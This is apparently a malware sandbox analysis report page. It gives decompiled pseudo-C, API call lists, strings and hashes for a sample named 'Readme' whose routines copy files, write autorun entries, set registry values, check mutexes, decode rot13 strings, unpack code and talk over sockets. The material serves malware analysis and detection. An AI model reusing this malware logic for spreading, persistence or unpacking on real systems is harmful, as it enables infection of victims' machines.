								 *_t31 =  *(__eax + 0x28) & 0x0000007f;
								__eflags =  *_t31;
								_pop(__eax);
								__eax = VirtualProtect(__edi, 0x1000, __eax, __esp); // executed
								__eax = __eax;
								asm("popad");
								__eax =  &_v128;
								do {
									_push(0);
									__eflags = __esp - __eax;
								} while (__esp != __eax);
								__esp = __esp - 0xffffff80;
								goto L62;
							}
							__eax = __eax << 8;
							__al =  *__esi;
							__esi = __esi + 1;
							__eax = __eax ^ 0xffffffff;
							__eflags = __eax;
							if(__eax != 0) {
								__ebp = __eax;
								goto L27;
							}
							_pop(__esi);
							__edi = __esi;
							__ecx = 0xf4;
							goto L45;
							L15:
							__ebx = __ebx + __ebx;
							__eflags = __ebx;
						} while (__eflags != 0);
					}
				}
				L63:
			}

0x1000b675
0x1000b834
0x10001065
0x10001068
0x1000106e
0x100010b7
0x100010be
0x100010c3
0x100010c8
0x100010ca
0x100010f7
0x100010fc
0x10001102
0x100010cc
0x100010cc
0x100010d2
0x100010d7
0x100010dc
0x00000000
0x100010dc
0x10001070
0x10001070
0x10001070
0x10001077
0x1000107e
0x10001081
0x10001086
0x1000109a
0x100010e3
0x100010e3
0x1000109e
0x100010a8
0x100010f0
0x100010aa
0x100010aa
0x100010aa
0x100010a8
0x100010ac
0x100010ac
0x100010b4
0x1000b67b
0x1000b67b
0x1000b67c
0x1000b681
0x1000b687
0x1000b69a
0x1000b69a
0x1000b69c
0x1000b69f
0x1000b6a1
0x1000b6a1
0x1000b690
0x1000b692
0x1000b693
0x1000b695
0x1000b695
0x00000000
0x1000b695
0x1000b6a3
0x1000b6a3
0x1000b6a8
0x1000b6a8
0x1000b6a8
0x1000b6a8
0x1000b6a8
0x1000b6aa
0x1000b6ac
0x1000b6ae
0x1000b6b1
0x1000b6b1
0x1000b6b3
0x1000b6b5
0x1000b6b5
0x1000b6b5
0x1000b6b9
0x00000000
0x00000000
0x00000000
0x1000b6bb
0x1000b6bb
0x1000b6bd
0x1000b6bd
0x1000b6c0
0x1000b6c0
0x1000b6c4
0x1000b6c6
0x1000b6c6
0x1000b6c9
0x1000b6d8
0x1000b6d8
0x1000b6d8
0x1000b6da
0x1000b6dc
0x1000b6de
0x1000b6e1
0x1000b6e1
0x1000b6e3
0x1000b6e5
0x1000b6e5
0x1000b6e7
0x1000b6e9
0x1000b6eb
0x1000b6ee
0x1000b6ee
0x1000b6f0
0x1000b6f2
0x1000b6f4
0x1000b6f4
0x1000b6f4
0x1000b6f5
0x1000b6f5
0x1000b6f5
0x1000b6f5
0x1000b6f5
0x1000b6f7
0x1000b6f9
0x1000b6fb
0x1000b6fe
0x1000b6fe
0x1000b700
0x1000b702
0x1000b702
0x1000b702
0x1000b706
0x00000000
0x00000000
0x00000000
0x1000b708
0x1000b708
0x1000b70a
0x1000b70a
0x1000b70d
0x1000b70d
0x1000b711
0x1000b711
0x1000b711
0x1000b714
0x1000b71a
0x1000b71d
0x1000b720
0x1000b723
0x1000b734
0x1000b734
0x1000b736
0x1000b739
0x1000b73b
0x1000b73e
0x1000b73e
0x1000b73e
0x1000b743
0x1000b725
0x1000b725
0x1000b725
0x1000b727
0x1000b728
0x1000b72a
0x1000b72b
0x1000b72b
0x1000b72b
0x1000b72e
0x00000000
0x1000b752
0x1000b752
0x1000b752
0x1000b752
0x1000b754
0x1000b755
0x1000b757
0x1000b757
0x1000b75b
0x1000b75b
0x1000b760
0x1000b762
0x1000b765
0x1000b769
0x1000b76c
0x1000b76c
0x1000b76c
0x1000b76e
0x1000b770
0x1000b773
0x1000b775
0x1000b777
0x1000b77a
0x1000b77c
0x1000b77e
0x1000b784
0x1000b784
0x1000b784
0x1000b786
0x1000b786
0x1000b788
0x00000000
0x00000000
0x1000b78a
0x1000b78d
0x1000b794
0x1000b797
0x1000b797
0x1000b7a0
0x1000b7a0
0x1000b7a0
0x1000b7a1
0x1000b7a1
0x1000b7a3
0x1000b7a4
0x1000b7a4
0x1000b7a6
0x00000000
0x00000000
0x1000b7a8
0x1000b7ab
0x1000b7ac
0x1000b7af
0x1000b7b5
0x1000b7b5
0x1000b7b7
0x1000b7c0
0x1000b7c1
0x1000b7c1
0x1000b7c3
0x1000b7b9
0x1000b7b9
0x1000b7bb
0x00000000
0x1000b7bb
0x00000000
0x1000b7b7
0x1000b7a1
0x1000b7c6
0x1000b7c6
0x1000b7c9
0x1000b7cc
0x1000b7cc
0x1000b7ce
0x1000b7d0
0x1000b7d1
0x1000b7d1
0x1000b7d3
0x00000000
0x00000000
0x1000b7d5
0x1000b7d7
0x1000b7ea
0x1000b7ec
0x1000b7ef
0x1000b7f2
0x1000b7f2
0x1000b7d9
0x1000b7db
0x1000b7dd
0x1000b7dd
0x1000b7dd
0x1000b7df
0x1000b7e2
0x1000b7e2
0x1000b7e2
0x1000b7e4
0x1000b7e6
0x1000b7e6
0x1000b7f7
0x1000b7fd
0x1000b803
0x1000b808
0x1000b80e
0x1000b810
0x1000b816
0x1000b819
0x1000b819
0x1000b819
0x1000b81d
0x1000b823
0x1000b825
0x1000b826
0x1000b827
0x1000b82b
0x1000b82b
0x1000b82d
0x1000b82d
0x1000b831
0x00000000
0x1000b831
0x1000b6cb
0x1000b6ce
0x1000b6d0
0x1000b6d1
0x1000b6d1
0x1000b6d4
0x1000b6d6
0x00000000
0x1000b6d6
0x1000b74a
0x1000b74b
0x1000b74d
0x00000000
0x1000b696
0x1000b696
0x1000b696
0x1000b696
0x1000b6a1
0x1000b69a
0x00000000

Strings

oseHandle, xrefs: 1000B67C

Memory Dump Source

Source File: 00000000.00000002.304103368.000000001000B000.00000080.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.304063881.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.304069235.0000000010001000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.304076424.0000000010005000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.304082187.0000000010008000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.304097063.000000001000A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.304113880.000000001000C000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_Readme.jbxd

Similarity

API ID:
String ID: oseHandle
API String ID: 0-3110874022
Opcode ID: 55b444f5287c2d11894ddcccc202fc63c889c2cb23919d4899b9ba0c6a4af2f8
Instruction ID: 6777197e7aff05cd1e47f9124ab84a08ecd71be59056bc9e2c07408dd8449df4
Opcode Fuzzy Hash: 55b444f5287c2d11894ddcccc202fc63c889c2cb23919d4899b9ba0c6a4af2f8
Instruction Fuzzy Hash: DD51F871648B925BF710DE788CC07957BD4DB812E4B290738D9E5CB3CAE7A8580687A0

Uniqueness

Uniqueness Score: -1.00%

Function 004049EA Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 57COMMON

Download Yara Rule

APIs

Part of subcall function 00404748: RegOpenKeyExA.ADVAPI32(?,?,?,?,?,?,?,?,00404A84), ref: 00404781
Part of subcall function 00404748: RegOpenKeyExA.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,00404A84), ref: 004047AF
Part of subcall function 00404748: RegQueryValueExA.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,00404A84), ref: 004047EA
Part of subcall function 00404748: RegCloseKey.ADVAPI32 ref: 004047FA

CharLowerA.USER32 ref: 00404A8B

Part of subcall function 00404990: strstr.MSVCRT ref: 004049C7

Strings

SYSTEM\ControlSet001\Services\Disk\Enum, xrefs: 004049F5
012, xrefs: 00404A45

Memory Dump Source

Source File: 00000000.00000002.303767032.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303758660.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303782487.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303788318.000000000041C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303795487.000000000041D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303800297.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303812332.000000000041F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Readme.jbxd

Similarity

API ID: Open$CharCloseLowerQueryValuestrstr
String ID: 012$SYSTEM\ControlSet001\Services\Disk\Enum
API String ID: 2399448135-1634863437
Opcode ID: 63ad2961c44aed94491a08e231f8cdb63fefdf94793549163df92be3ee8e9100
Instruction ID: 870a1de997922802b68f1717d84fe3bed6c75bca7598e79a585ce558600d9c18
Opcode Fuzzy Hash: 63ad2961c44aed94491a08e231f8cdb63fefdf94793549163df92be3ee8e9100
Instruction Fuzzy Hash: 7221A6B4904218DFCB60DF68EA8069DBBF4EB48314F50413AE958F7750D33499498F99

Uniqueness

Uniqueness Score: -1.00%

Function 1000271B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16fileCOMMON

Download Yara Rule

APIs

fopen.MSVCRT ref: 1000272F
fclose.MSVCRT ref: 10002740

Strings

Q, xrefs: 10002721

Memory Dump Source

Source File: 00000000.00000002.304069235.0000000010001000.00000040.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.304063881.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.304076424.0000000010005000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.304082187.0000000010008000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.304097063.000000001000A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.304103368.000000001000B000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.304113880.000000001000C000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_Readme.jbxd

Similarity

API ID: fclosefopen
String ID: Q
API String ID: 1280645193-3894087120
Opcode ID: d11b7e04d193afe19875c3f0bb31fea1c1a234c9f78bf7c27ca1675ec82f5387
Instruction ID: fc467ff3ac9e7cdac0bddd603bffc4fa3c1df253e59169ed2f43415d9b654fe0
Opcode Fuzzy Hash: d11b7e04d193afe19875c3f0bb31fea1c1a234c9f78bf7c27ca1675ec82f5387
Instruction Fuzzy Hash: AFD09E7860430457E701AB75954535B7AD9DB402C4F41C828E8858F38DE6B5E8418791

Uniqueness

Uniqueness Score: -1.00%

Function 10002A16 Relevance: 4.5, APIs: 3, Instructions: 20synchronizationCOMMON

Download Yara Rule

APIs

rot13.SHERVANS ref: 10002A2B

Part of subcall function 10001F26: rot13c.SHERVANS ref: 10001F40

CreateMutexA.KERNEL32 ref: 10002A43
GetLastError.KERNEL32 ref: 10002A4B

Memory Dump Source

Source File: 00000000.00000002.304069235.0000000010001000.00000040.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.304063881.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.304076424.0000000010005000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.304082187.0000000010008000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.304097063.000000001000A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.304103368.000000001000B000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.304113880.000000001000C000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_Readme.jbxd

Similarity

API ID: CreateErrorLastMutexrot13rot13c
String ID:
API String ID: 915986942-0
Opcode ID: ee8ea586af41e913590f4dc365a00a8f608733261f8a1858d002a386ab06bff8
Instruction ID: 37426019501c0c1615168472e2e031f059b69aac5c44e8d8eb959c1da4a6e9fe
Opcode Fuzzy Hash: ee8ea586af41e913590f4dc365a00a8f608733261f8a1858d002a386ab06bff8
Instruction Fuzzy Hash: DFE04FB44083059AD700EF61C5C139EBFF4EF40385F40841DE88843286D779A5489B23

Uniqueness

Uniqueness Score: -1.00%

Function 10002EA8 Relevance: 4.5, APIs: 3, Instructions: 9
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E10002EA8(struct _SECURITY_ATTRIBUTES* __ebx, signed int __edx, intOrPtr __edi, intOrPtr __esi, void* __eflags) {
				void* _t9;

				_t9 = __eflags;
				_t5 = __ebx;
				E10002C6C(); // executed
				E10002A16(__ebx); // executed
				E10002806(_t5, __edx, __edi, __esi, _t9); // executed
				return 0;
			}

0x10002ea8
0x10002ea8
0x10002eae
0x10002eb3
0x10002eb8
0x10002ec3

APIs

copy_filez.SHERVANS ref: 10002EAE

Part of subcall function 10002C6C: rot13.SHERVANS ref: 10002C88
Part of subcall function 10002C6C: add_system_direcroty.SHERVANS ref: 10002CA2
Part of subcall function 10002C6C: rot13.SHERVANS ref: 10002CB2
Part of subcall function 10002C6C: add_system_direcroty.SHERVANS ref: 10002CCC
Part of subcall function 10002C6C: CopyFileA.KERNEL32 ref: 10002CE0

mutex_check.SHERVANS ref: 10002EB3

Part of subcall function 10002A16: rot13.SHERVANS ref: 10002A2B
Part of subcall function 10002A16: CreateMutexA.KERNEL32 ref: 10002A43
Part of subcall function 10002A16: GetLastError.KERNEL32 ref: 10002A4B

copy_autoinf.SHERVANS ref: 10002EB8

Part of subcall function 10002806: rot13.SHERVANS ref: 10002829
Part of subcall function 10002806: Get_Reg_SZ.SHERVANS ref: 10002849
Part of subcall function 10002806: sss_rans.SHERVANS ref: 10002859
Part of subcall function 10002806: Write_REG_SZ.SHERVANS ref: 10002894
Part of subcall function 10002806: rot13.SHERVANS ref: 100028AA
Part of subcall function 10002806: add_system_direcroty.SHERVANS ref: 100028C4
Part of subcall function 10002806: filetyt.SHERVANS ref: 100028D2
Part of subcall function 10002806: wsprintfA.USER32 ref: 10002900
Part of subcall function 10002806: CreateFileA.KERNEL32 ref: 10002938
Part of subcall function 10002806: WriteFile.KERNEL32 ref: 1000297F
Part of subcall function 10002806: CloseHandle.KERNEL32 ref: 1000298A
Part of subcall function 10002806: SetFileAttributesA.KERNEL32 ref: 100029A3

Memory Dump Source

Source File: 00000000.00000002.304069235.0000000010001000.00000040.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.304063881.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.304076424.0000000010005000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.304082187.0000000010008000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.304097063.000000001000A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.304103368.000000001000B000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.304113880.000000001000C000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_Readme.jbxd

Similarity

API ID: rot13$File$add_system_direcroty$Create$AttributesCloseCopyErrorGet_HandleLastMutexReg_WriteWrite_copy_autoinfcopy_filezfiletytmutex_checksss_ranswsprintf
String ID:
API String ID: 2813818644-0
Opcode ID: 093c64d432fdb6e2285a5a98a3c5134fac210d630f0c210cb98ae6cf3dcb151b
Instruction ID: e12c022bba1e22a18cbfb1e123279ba149248782693e9a4da0a20551277887d2
Opcode Fuzzy Hash: 093c64d432fdb6e2285a5a98a3c5134fac210d630f0c210cb98ae6cf3dcb151b
Instruction Fuzzy Hash: EAB0920CA0010403F000F2B8194BB0D704C9B51598F404031A5409118AAC44B42882B7

Uniqueness

Uniqueness Score: -1.00%

Function 00405C6C Relevance: 3.1, APIs: 2, Instructions: 64fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 00405CBE
WriteFile.KERNEL32 ref: 00405D35

Memory Dump Source

Source File: 00000000.00000002.303767032.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303758660.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303782487.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303788318.000000000041C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303795487.000000000041D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303800297.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303812332.000000000041F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Readme.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: d63655d2dcbc60839257c6e938d84bfe055410ba38a70233d950f78cf1ccbd3a
Instruction ID: f1047de20eb3893e32fccaf0b86581f2c31394c201b131b44f92a60914293b21
Opcode Fuzzy Hash: d63655d2dcbc60839257c6e938d84bfe055410ba38a70233d950f78cf1ccbd3a
Instruction Fuzzy Hash: F12174B09043594BCB10DF29C89439EBBB4EF84310F00C5BFD95997381D7349A898FA5

Uniqueness

Uniqueness Score: -1.00%

Function 10001060 Relevance: 3.1, APIs: 2, Instructions: 53COMMON

Download Yara Rule

APIs

malloc.MSVCRT ref: 100010BE

Part of subcall function 10001000: ??3@YAXPAX@Z.MSVCRT ref: 10001043
Part of subcall function 10001000: fflush.MSVCRT ref: 10001057

Memory Dump Source

Source File: 00000000.00000002.304069235.0000000010001000.00000040.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.304063881.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.304076424.0000000010005000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.304082187.0000000010008000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.304097063.000000001000A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.304103368.000000001000B000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.304113880.000000001000C000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_Readme.jbxd

Similarity

API ID: ??3@fflushmalloc
String ID:
API String ID: 3823167246-0
Opcode ID: b4ed8e0dcb01610a8e0155abcafffdc3cf178930a4c4465fac26594983f5d97f
Instruction ID: c3d61e731865bd7456064c518874042fb421375ce73593d0c675da1890093c8e
Opcode Fuzzy Hash: b4ed8e0dcb01610a8e0155abcafffdc3cf178930a4c4465fac26594983f5d97f
Instruction Fuzzy Hash: B5016135A043919BF711EFB8899178F7BD8FB442D0F118429E8808B24DDBB0E8808792

Uniqueness

Uniqueness Score: -1.00%

Function 00405D46 Relevance: 3.0, APIs: 2, Instructions: 31fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,004041F6), ref: 00405D83

Part of subcall function 00405C6C: WriteFile.KERNEL32 ref: 00405CBE
Part of subcall function 00405C6C: WriteFile.KERNEL32 ref: 00405D35

CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,004041F6), ref: 00405DB7

Memory Dump Source

Source File: 00000000.00000002.303767032.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303758660.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303782487.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303788318.000000000041C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303795487.000000000041D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303800297.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303812332.000000000041F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Readme.jbxd

Similarity

API ID: File$Write$CloseCreateHandle
String ID:
API String ID: 148219782-0
Opcode ID: 72e9fedbf2843b56b6a6daafb9acc6cb085d47cfbc8d447e6dd53778901cb612
Instruction ID: 00d198e32dff6483e67d0ab4778baf528fffa47fc69d76bf6507d571ee69b3a3
Opcode Fuzzy Hash: 72e9fedbf2843b56b6a6daafb9acc6cb085d47cfbc8d447e6dd53778901cb612
Instruction Fuzzy Hash: 92F0E7B0509305ABE700AF75D1C930BBEE4AB40358F008A2DE4D55B2D2D7B99A488B96

Uniqueness

Uniqueness Score: -1.00%

Function 00401280 Relevance: 3.0, APIs: 2, Instructions: 16
COMMON

Download Yara Rule

C-Code - Quality: 23%

			E00401280() {
				void* _t4;
				intOrPtr* _t5;
				intOrPtr* _t8;

				 *_t8 = 1;
				 *0x41949c();
				E00401150();
				_t5 = _t8;
				 *((intOrPtr*)(_t8 - 8)) = 2;
				 *0x41949c(_t4); // executed
				E00401150(); // executed
				_push(_t5);
				goto __ecx;
			}

0x00401286
0x0040128d
0x00401293
0x004012a1
0x004012a6
0x004012ad
0x004012b3
0x004012c0
0x004012ca

APIs

__set_app_type.MSVCRT ref: 0040128D

Part of subcall function 00401150: SetUnhandledExceptionFilter.KERNEL32 ref: 0040115E
Part of subcall function 00401150: __getmainargs.MSVCRT ref: 0040119E
Part of subcall function 00401150: _setmode.MSVCRT ref: 004011D8
Part of subcall function 00401150: _setmode.MSVCRT ref: 004011FC
Part of subcall function 00401150: __p__fmode.MSVCRT ref: 00401210
Part of subcall function 00401150: __p__environ.MSVCRT ref: 0040122A
Part of subcall function 00401150: _cexit.MSVCRT ref: 0040124D
Part of subcall function 00401150: ExitProcess.KERNEL32 ref: 00401255

__set_app_type.MSVCRT ref: 004012AD

Memory Dump Source

Source File: 00000000.00000002.303767032.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303758660.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303782487.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303788318.000000000041C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303795487.000000000041D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303800297.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303812332.000000000041F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Readme.jbxd

Similarity

API ID: __set_app_type_setmode$ExceptionExitFilterProcessUnhandled__getmainargs__p__environ__p__fmode_cexit
String ID:
API String ID: 570162737-0
Opcode ID: 36b1d3dea03947f55434b9ec7bd84f55484cfed7e86ffaa1a5bdde0d5196f56c
Instruction ID: 752eb1ab21b4c19d55682f3c7b2bcf3a34383202cb890f95c9a90ba33a14ec6c
Opcode Fuzzy Hash: 36b1d3dea03947f55434b9ec7bd84f55484cfed7e86ffaa1a5bdde0d5196f56c
Instruction Fuzzy Hash: 02D09B354142149BC7007BF5DC0A399BBA86B09301F41443CE6CD67261D6743C4947DA

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00401C2C Relevance: 49.3, APIs: 20, Strings: 8, Instructions: 294stringnetworksleepCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00401C63
memset.MSVCRT ref: 00401C81
_mbscat.MSVCRT ref: 00401C90
_mbscat.MSVCRT ref: 00401CCD

Part of subcall function 00405316: gethostname.WS2_32 ref: 0040532B
Part of subcall function 00405316: gethostbyname.WS2_32 ref: 00405336
Part of subcall function 00405316: inet_ntoa.WS2_32 ref: 00405351

_mbscat.MSVCRT ref: 00401D1B

Part of subcall function 00405256: GetVersionExA.KERNEL32 ref: 00405272

_mbscat.MSVCRT ref: 00401D49
_mbscat.MSVCRT ref: 00401D7D
Sleep.KERNEL32 ref: 00401E82
_mbscat.MSVCRT ref: 00401DD7

Part of subcall function 00404F0A: GetModuleHandleA.KERNEL32 ref: 00404F27
Part of subcall function 00404F0A: LoadLibraryA.KERNEL32 ref: 00404F41
Part of subcall function 00404F0A: InternetGetConnectedState.WININET ref: 00404F6B

send.WS2_32 ref: 00401EF2
recv.WS2_32 ref: 00401F2A
strtok.MSVCRT ref: 00401F89
strtok.MSVCRT ref: 00401FA8
closesocket.WS2_32 ref: 00401FBD
atoi.MSVCRT ref: 00401FD4
atoi.MSVCRT ref: 00401FEA
memset.MSVCRT ref: 00402043
lstrlen.KERNEL32 ref: 00402051

Part of subcall function 0040447C: CryptAcquireContextA.ADVAPI32 ref: 004044BD
Part of subcall function 0040447C: CryptCreateHash.ADVAPI32 ref: 004044F7
Part of subcall function 0040447C: CryptHashData.ADVAPI32 ref: 00404528
Part of subcall function 0040447C: CryptDestroyHash.ADVAPI32 ref: 0040453A
Part of subcall function 0040447C: CryptReleaseContext.ADVAPI32 ref: 00404550

lstrcmp.KERNEL32 ref: 004020AB
lstrcmp.KERNEL32 ref: 004020CD

Strings

P, xrefs: 00401E93
nt: , xrefs: 00401E25
=-A, xrefs: 00401DCD, 00401E9B
wer, xrefs: 00401E4F
-Age, xrefs: 00401E1A
ost:, xrefs: 00401DB8
3159, xrefs: 00401CE8
expl, xrefs: 00401E44

Memory Dump Source

Source File: 00000000.00000002.303767032.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303758660.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303782487.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303788318.000000000041C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303795487.000000000041D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303800297.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303812332.000000000041F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Readme.jbxd

Similarity

API ID: _mbscat$Crypt$Hashmemset$Contextatoilstrcmpstrtok$AcquireConnectedCreateDataDestroyHandleInternetLibraryLoadModuleReleaseSleepStateVersionclosesocketgethostbynamegethostnameinet_ntoalstrlenrecvsend
String ID: -Age$3159$=-A$P$expl$nt: $ost:$wer
API String ID: 1488133686-2239103369
Opcode ID: 6c291d1ab130d950e73a0d21f9dfd0606c72a42a2e497424fde83289429f6f05
Instruction ID: 99ea3051cc31653010b65aed47ab6d4c6dbc815114f0d374468db723e332898a
Opcode Fuzzy Hash: 6c291d1ab130d950e73a0d21f9dfd0606c72a42a2e497424fde83289429f6f05
Instruction Fuzzy Hash: 79C186B48043148BD724AF29C58535A7BF1EF85318F2086AEE45C5B7D2CB798D86CF46

Uniqueness

Uniqueness Score: -1.00%

Function 00403790 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 133filestringCOMMON

Download Yara Rule

APIs

_mbscpy.MSVCRT ref: 004037D8
memset.MSVCRT ref: 0040383B
FindFirstFileA.KERNEL32 ref: 0040385C
FindNextFileA.KERNEL32 ref: 00403888
lstrcpy.KERNEL32 ref: 004038CC
_mbscat.MSVCRT ref: 00403910
FindClose.KERNEL32 ref: 00403957

Strings

\, xrefs: 004038E4
., xrefs: 004038AA
*.*, xrefs: 0040381A
., xrefs: 00403898

Memory Dump Source

Source File: 00000000.00000002.303767032.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303758660.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303782487.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303788318.000000000041C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303795487.000000000041D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303800297.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303812332.000000000041F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Readme.jbxd

Similarity

API ID: Find$File$CloseFirstNext_mbscat_mbscpylstrcpymemset
String ID: *.*$.$.$\
API String ID: 1316374366-446526362
Opcode ID: 26e3bcea411a8c7c4bbc4843d5bdfb40b3e1660c35f98ae57de979e8483c3eb5
Instruction ID: b4465dfa5f332ec533157c87ff7dca4d317d8e0d8912ef682c4f4d402bf95f8b
Opcode Fuzzy Hash: 26e3bcea411a8c7c4bbc4843d5bdfb40b3e1660c35f98ae57de979e8483c3eb5
Instruction Fuzzy Hash: 505194758083588ADB20AF35C48839DBFE5AF44315F1486BEE859673C1DB788F88CB46

Uniqueness

Uniqueness Score: -1.00%

Function 0040447C Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 105
encryptionCOMMON

Download Yara Rule

C-Code - Quality: 26%

			E0040447C(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				void* _v12;
				void _v28;
				long* _v32;
				void* _v36;
				char _v40;
				char _v44;
				int _v60;
				int _v64;
				int _v68;
				int _v72;
				char* _v76;
				int _v80;
				int _v84;
